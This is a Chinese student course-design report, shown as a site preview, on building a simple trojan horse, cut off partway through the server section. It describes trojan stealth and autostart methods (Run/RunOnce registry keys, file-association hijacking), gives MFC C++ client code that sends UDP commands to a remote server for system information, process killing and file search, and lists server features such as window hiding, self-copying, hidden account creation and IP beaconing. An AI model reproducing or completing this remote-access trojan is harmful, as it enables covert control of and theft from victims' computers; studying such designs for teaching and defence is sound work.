木马的设计课设.docx

上传人:b****4 文档编号:5286387 上传时间:2023-05-08 格式:DOCX 页数:36 大小:533.90KB
下载 相关 举报
木马的设计课设.docx_第1页
第1页 / 共36页
木马的设计课设.docx_第2页
第2页 / 共36页
木马的设计课设.docx_第3页
第3页 / 共36页
木马的设计课设.docx_第4页
第4页 / 共36页
木马的设计课设.docx_第5页
第5页 / 共36页
木马的设计课设.docx_第6页
第6页 / 共36页
木马的设计课设.docx_第7页
第7页 / 共36页
木马的设计课设.docx_第8页
第8页 / 共36页
木马的设计课设.docx_第9页
第9页 / 共36页
木马的设计课设.docx_第10页
第10页 / 共36页
木马的设计课设.docx_第11页
第11页 / 共36页
木马的设计课设.docx_第12页
第12页 / 共36页
木马的设计课设.docx_第13页
第13页 / 共36页
木马的设计课设.docx_第14页
第14页 / 共36页
木马的设计课设.docx_第15页
第15页 / 共36页
木马的设计课设.docx_第16页
第16页 / 共36页
木马的设计课设.docx_第17页
第17页 / 共36页
木马的设计课设.docx_第18页
第18页 / 共36页
木马的设计课设.docx_第19页
第19页 / 共36页
木马的设计课设.docx_第20页
第20页 / 共36页
亲,该文档总共36页,到这儿已超出免费预览范围,如果喜欢就下载吧!
下载资源
资源描述

木马的设计课设.docx

《木马的设计课设.docx》由会员分享,可在线阅读,更多相关《木马的设计课设.docx(36页珍藏版)》请在冰点文库上搜索。

木马的设计课设.docx

木马的设计课设

简单木马设计

一、木马的定义

木马本质上是一种经过伪装的欺骗性程序,它通过将自身伪装吸引用户下载执行,从而破坏或窃取使用者的重要文件和资料。

木马程序与一般的病毒不同,它不会自我繁殖,也并不刻意!

地去感染其他文件,它是一种后台控制程序。

它的主要作用是向施种木马者打开被种者电脑的门户,使其可以任意毁坏、窃取被种者的文件,甚至远程操控其电脑。

二、木马的组成

一般来说,完整的木马由两部分组成,即服务端Server和客户端Client,也就是采用所谓的C/S模式。

如下图2-1所示:

图2-1木马的服务端和客户端

一个完整的木马系统以下几部分组成:

1、硬件部分

建立木马连接所必须的硬件实体。

控制端:

对服务端进行远程控制的一方。

服务端:

被控制端远程控制的一方。

INTERNET:

控制端对服务端进行远程控制,数据传输的网络载体。

2、软件部分

实现远程控制所必须的软件程序。

控制端程序:

控制端用以远程控制服务端的程序。

木马程序:

潜入服务端内部,获取其操作权限的程序。

木马配置程序:

设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。

3、建立连接的必要元素

通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。

控制端IP,服务端IP:

即控制端,服务端的网络地址,也是木马进行数据传输的目的地。

控制端端口,木马端口:

即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马程序。

用木马这种黑客工具进行网络入侵,从过程上看大致可分为六步(具体可见下图),下面我们就按这六步来详细阐述木马的攻击原理。

配置木马

一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方面功能:

  

(1)木马伪装:

木马配置程序为了在服务端尽可能的好的隐藏木马,会采用多种伪装手段,如修改图标,捆绑文件,定制端口,自我销毁等,我们将在“传播木马”这一节中详细介绍。

  

(2)信息反馈:

木马配置程序将就信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址,IRC号,ICQ号等等

 

三、木马的隐藏与自启动

木马常用的隐藏技术:

3.1合并端口法

使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接(比如80端口的HTTP),以达到隐藏端口的目的。

3.2修改ICMP头法

根据ICMP协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段。

这样的木马具备很多新特点,如不占用端口、使用户难以发觉等。

同时,使用ICMP协议可以穿透一些防火墙,从而增加了防范的难度。

木马常用的自启动技术:

为了达到长期控制目标主机的目的,当主机重启之后必须让木马程序再次运行,这样就需要木马具有一定的自启动能力。

下面介绍几种常见的方法。

3.3加载程序到启动组

我们需要关注“开始”菜单中的启动项,对应的文件夹是c:

\DocumentsandSettings\用户名\「开始」菜单\程序\启动。

3.4在注册表中加载自启动项

下面仅列举几个木马常用的自启动注册表项:

3.4.1Run注册表项

Run是木马常用的自启动注册表项,位置在:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

3.4.2RunOnce注册表项

RunOnce也是木马常用的自启动注册表项,位置在:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurerntVersion\RunOnce

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

在WindowsXP系统中还有:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx

此外,木马的自启动注册表项还有RunServices注册表项、RunServicesOnce注册表项、Winlogon注册表项、Load注册表项等。

3.5修改文件关联

以文本文件的“文件关联”为例,正常情况下,其对应的注册表项和项值分别为:

HKEY_CLASSES_ROOT\txtfile\shell\open\command与%SystemRoot%\system32\NOTEPAD.EXE%1但是某些木马在安装阶段将项值改为“木马程序路径\木马程序名称%l”的形式,这样,当用户打开任何一个文本文件时,就启动了木

马程序。

三、简单木马制作

基本思路:

本木马由两部分组成,即服务端Server程序和客户端Client程序,采用的是C/S模式。

对目的主机的控制主要是通过客户端发出的命令后,服务器端响应后把结果返回给客户端,进而起到控制主机的目的。

在程序制作中,使用了计时器方法,木马端程序会每1s向控制端发送连接信息,若控制端,即client端开启,则会向Server端反馈confirm信息,这样,Server端会继续发送新的信息。

1、客户端的制作

本客户端程序以属性表单的方式提供操作界面,如下图所示:

1.1主机列表

在列表控件中显示由服务器发来的IP、MAC以及运行时间信息。

同一IP信息不会重复添加到列表控件中。

“检测”按钮的作用主要是确定当前主机是否在线,也就是是否以运行了木马服务器程序,若以运行,则可以通过其他属性页中的按钮进行控制。

其“检测”按钮的单击消息响应函数为:

voidCPropHostList:

:

OnButton1Connection()

{

//TODO:

Addyourcontrolnotificationhandlercodehere

UpdateData();

if(m_strHostIP=="")

{

MessageBox("检测主机IP不能为空!

\r\n请输入IP地址!

\r\n或者在列表中选择!

","提示",MB_OK|MB_ICONWARNING);

theHostIP=m_strHostIP;

return;

}

theHostIP=m_strHostIP;

CMySocketSocketSendAndRecv;

SocketSendAndRecv.MyStartup();

SOCKETSocketClient=socket(AF_INET,SOCK_DGRAM,0);

SOCKADDR_INAddressServer;//发送到服务器的地址信息

AddressServer.sin_addr.S_un.S_addr=inet_addr(theHostIP);//将点分十进制转换为u_long型

AddressServer.sin_family=AF_INET;

AddressServer.sin_port=htons(5004);//转换为网络字节序

charrecvBuf[100];//用于存储接受的数据

charsendBuf[100]="Hello!

";//用于存储要发送的数据

intlen=sizeof(SOCKADDR);

sendto(SocketClient,sendBuf,strlen(sendBuf)+1,0,(SOCKADDR*)&AddressServer,len);

CStringRecvData;

SetTimer(1,1000,NULL);

recvfrom(SocketClient,recvBuf,100,0,(SOCKADDR*)&AddressServer,&len);

RecvData=recvBuf;

if(RecvData=="Hello!

")

{

KillTimer

(1);

MessageBox("当前主机处于活动状态!

","响应",MB_OK|MB_ICONASTERISK);

}

SocketSendAndRecv.MyCloseSocket(SocketClient);

}

1.2系统信息

在确保用户在线的情况下,通过单击“系统信息”、“关闭计算机”、“重启计算机”等按钮就可以获取相应的信息或着执行相应的命令。

并且在响应的编辑框中提示本次操作是否成功。

操作界面如下图所示:

以获取“系统信息”按钮为例,此按钮的单击消息响应函数为:

voidCPropSystemInfoDlg:

:

OnButtonSysteminfo()

{

m_strInfo="";

//TODO:

Addyourcontrolnotificationhandlercodehere

if(theHostIP=="")

{

MessageBox("主机IP不能为空!

\r\n请输入IP地址!

\r\n或者在列表中选择!

","提示",MB_OK|MB_ICONWARNING);

return;

}

CMySocketSocketSendAndRecv;

SocketSendAndRecv.MyStartup();

SOCKETSocketClient=socket(AF_INET,SOCK_DGRAM,0);

SOCKADDR_INAddressServer;//发送到服务器的地址信息

AddressServer.sin_addr.S_un.S_addr=inet_addr(theHostIP);//将点分十进制转换为u_long型

AddressServer.sin_family=AF_INET;

AddressServer.sin_port=htons(5004);//转换为网络字节序

charrecvBuf[98];//用于存储接受的数据

charsendBuf[100]="1GetSystemInfo";//用于存储要发送的数据

intlen=sizeof(SOCKADDR);

sendto(SocketClient,sendBuf,strlen(sendBuf)+1,0,(SOCKADDR*)&AddressServer,len);

CStringRecvData;

CStringstrShow="";

SetTimer(1,1000,NULL);

recvfrom(SocketClient,recvBuf,100,0,(SOCKADDR*)&AddressServer,&len);

RecvData=recvBuf;

intn=atoi(RecvData);

for(inti=1;i<=n;i++)

{

recvfrom(SocketClient,recvBuf,100,0,(SOCKADDR*)&AddressServer,&len);

RecvData=recvBuf;

strShow=strShow+RecvData;

}

if(RecvData!

="")

{

KillTimer

(1);

m_strInfo=strShow;

UpdateData(0);

}

SocketSendAndRecv.MyCloseSocket(SocketClient);

}

1.3消息属性页

在输入消息的正文后,单击发送按钮即可把消息发送到服务器端。

操作界面如下:

“发送”按钮的单击消息响应函数为:

voidCPropMessageDlg:

:

OnButtonSendmessage()

{

m_strResponse="";

UpdateData();

if(theHostIP=="")

{

MessageBox("主机IP不能为空!

\r\n请输入IP地址!

\r\n或者在列表中选择!

","提示",MB_OK|MB_ICONWARNING);

return;

}

CStringSendData="5"+m_strText;

CMySocketSocketSendAndRecv;

SocketSendAndRecv.MyStartup();

SOCKETSocketClient=socket(AF_INET,SOCK_DGRAM,0);

SOCKADDR_INAddressServer;//发送到服务器的地址信息

AddressServer.sin_addr.S_un.S_addr=inet_addr(theHostIP);//将点分十进制转换为u_long型

AddressServer.sin_family=AF_INET;

AddressServer.sin_port=htons(5004);//转换为网络字节序

charrecvBuf[100];//用于存储接受的数据

char*sendBuf=(LPSTR)(LPCTSTR)SendData;//用于存储要发送的数据

intlen=sizeof(SOCKADDR);

sendto(SocketClient,sendBuf,strlen(sendBuf)+1,0,(SOCKADDR*)&AddressServer,len);

CStringRecvData;

SetTimer(1,1000,NULL);

recvfrom(SocketClient,recvBuf,100,0,(SOCKADDR*)&AddressServer,&len);

RecvData=recvBuf;

if(RecvData=="5sendsuccess")

{

KillTimer

(1);

m_strResponse="消息发送成功!

";

UpdateData(0);

}

SocketSendAndRecv.MyCloseSocket(SocketClient);

}

1.4进程管理

在本属性页中提供了对进程有关的操作:

1.4.1列举进程

列举当前主机中运行的所以进程的信息。

1.4.2结束进程

在列举进程信息后,在编辑框中输入进程ID号后,再单击“结束进程”按钮即可。

1.4.3创建进程

这里需要输入要创建的程序名或者程序的路径。

比如:

QQ的程序路径,“D:

\ProgramFiles\Tencent\QQ\Bin\QQ.exe”。

1.4.4获取硬盘信息

由于所要获取的数据太大,如果一次性传输到客户端,则只会显示部分信息。

程序中对数据太大的数据进行了分段传输(如:

进程信息、系统信息、硬盘信息),每次传输90字节。

在客户端,对分别传送了的数据组装后再在控件中显示。

操作界面如下图所示:

以“结束进程”按钮为例,单击消息响应函数为:

voidCPropProcessDlg:

:

OnButton2Endprocess()

{

m_strInfo="";

UpdateData();

if(theHostIP=="")

{

MessageBox("主机IP不能为空!

\r\n请输入IP地址!

\r\n或者在列表中选择!

","提示",MB_OK|MB_ICONWARNING);

return;

}

if(m_strEndProcess=="")

{

MessageBox("请输入结束进程ID!

","提示",MB_OK|MB_ICONWARNING);

return;

}

CStringData="7"+m_strEndProcess;

CMySocketSocketSendAndRecv;

SocketSendAndRecv.MyStartup();

SOCKETSocketClient=socket(AF_INET,SOCK_DGRAM,0);

SOCKADDR_INAddressServer;//发送到服务器的地址信息

AddressServer.sin_addr.S_un.S_addr=inet_addr(theHostIP);//将点分十进制转换为u_long型

AddressServer.sin_family=AF_INET;

AddressServer.sin_port=htons(5004);//转换为网络字节序

charrecvBuf[100];//用于存储接受的数据

char*sendBuf=(LPSTR)(LPCTSTR)Data;//用于存储要发送的数据

intlen=sizeof(SOCKADDR);

sendto(SocketClient,sendBuf,strlen(sendBuf)+1,0,(SOCKADDR*)&AddressServer,len);

CStringRecvData;

SetTimer(1,1000,NULL);

recvfrom(SocketClient,recvBuf,100,0,(SOCKADDR*)&AddressServer,&len);

RecvData=recvBuf;

if(RecvData=="7endprocesssuccess")

{

KillTimer

(1);

m_strInfo="结束指定进程命令成功!

";

UpdateData(0);

}

if(RecvData=="7endprocessfailure")

{

KillTimer

(1);

m_strInfo="结束指定进程命令失败!

";

UpdateData(0);

}

SocketSendAndRecv.MyCloseSocket(SocketClient);

}

1.5查找文件属性页

在本属性页中提供了对指定文件或者文件夹的查找功能,若查找成功则在编辑框中给出指定文件或者文件夹的全路径,否则提示查找失败。

操作界面如下:

“立即查找”按钮的单击消息响应函数为:

voidCPropFilesFindDlg:

:

OnButton1Find()

{

UpdateData();

if(theHostIP=="")

{

MessageBox("主机IP不能为空!

\r\n请输入IP地址!

\r\n或者在列表中选择!

","提示",MB_OK|MB_ICONWARNING);

return;

}

if(m_strFilesName=="")

{

MessageBox("请输入查找文件名!

","提示",MB_OK|MB_ICONWARNING);

return;

}

intn=m_strDishOperator.GetCurSel();

CStringSelected;

m_strDishOperator.GetLBText(n,Selected);

CStringSendData;

SendData="@"+Selected;

SendData=SendData+m_strFilesName;CMySocketSocketSendAndRecv;

SocketSendAndRecv.MyStartup();SOCKETSocketClient=socket(AF_INET,SOCK_DGRAM,0);

SOCKADDR_INAddressServer;//发送到服务器的地址信息

AddressServer.sin_addr.S_un.S_addr=inet_addr(theHostIP);//将点分十进制转换为u_long型

AddressServer.sin_family=AF_INET;

AddressServer.sin_port=htons(5004);//转换为网络字节序

charrecvBuf[100];//用于存储接受的数据

char*sendBuf=(LPSTR)(LPCTSTR)SendData;//用于存储要发送的数据

intlen=sizeof(SOCKADDR);

sendto(SocketClient,sendBuf,strlen(sendBuf)+1,0,(SOCKADDR*)&AddressServer,len);

CStringRecvData;

SetTimer(1,1000,NULL);

recvfrom(SocketClient,recvBuf,100,0,(SOCKADDR*)&AddressServer,&len);

RecvData=recvBuf;

if(RecvData=="findfileseorror")

{

KillTimer

(1);

m_strFilesPath="查找指定文件失败!

";

UpdateData(0);

}

else

{

KillTimer

(1);

m_strFilesPath="指定文件在服务器路径为:

\r\n"+RecvData;

UpdateData(0);

}

SocketSendAndRecv.MyCloseSocket(SocketClient);

}

2、服务器程序制作

在服务器端,主要实现的功能是,接收客户端发来的命令,执行相应的功能代码,并把结果发送到客户端,以便显示。

除此之外,服务器程序还要有以下几点功能:

窗口隐藏、IP地址信息发送、单一服务器实例、开机自动启动、服务器程序自我复制、创建隐藏账户。

这些功能主要是在服务器程序的初始化函数BOOLCTrojanServerDlg:

:

OnInitDialog()中实现的。

下面分别说明:

2.1窗口隐藏

对于一个木马服务器程序来说,为了避免用户的察觉,隐藏是十分有必要的,这可以在初始化函数添加以下两行代码即可:

ModifyStyleEx(WS_EX_APPWINDOW,WS_EX_TOOLWINDOW);

//从任务栏中去掉

SetWindowPos(&wndTop,0,0,0,0,NULL);

2.2IP地址信息发送

对与客户端,如果要对用户主机进行控制,除了需要主机运行服务器程序外,还需要知道主机的IP地址,这样才能发送命令到主机方。

另外,对方主机的IP地址也可能会发生变化,所以也需要把变化后的IP地址发送到客户端。

实现的方法是,在服务器端创建线程,对主机的IP地址进行监视,每过1小时进行检查IP地址是否改变,若改变,则立即把新的IP地址信息发送到客户端的5005端口。

其所创建的线程执行函数为:

DWORDWINAPIProcThread(LPVOIDlpParameter)//IP地

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 工作范文 > 行政公文

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2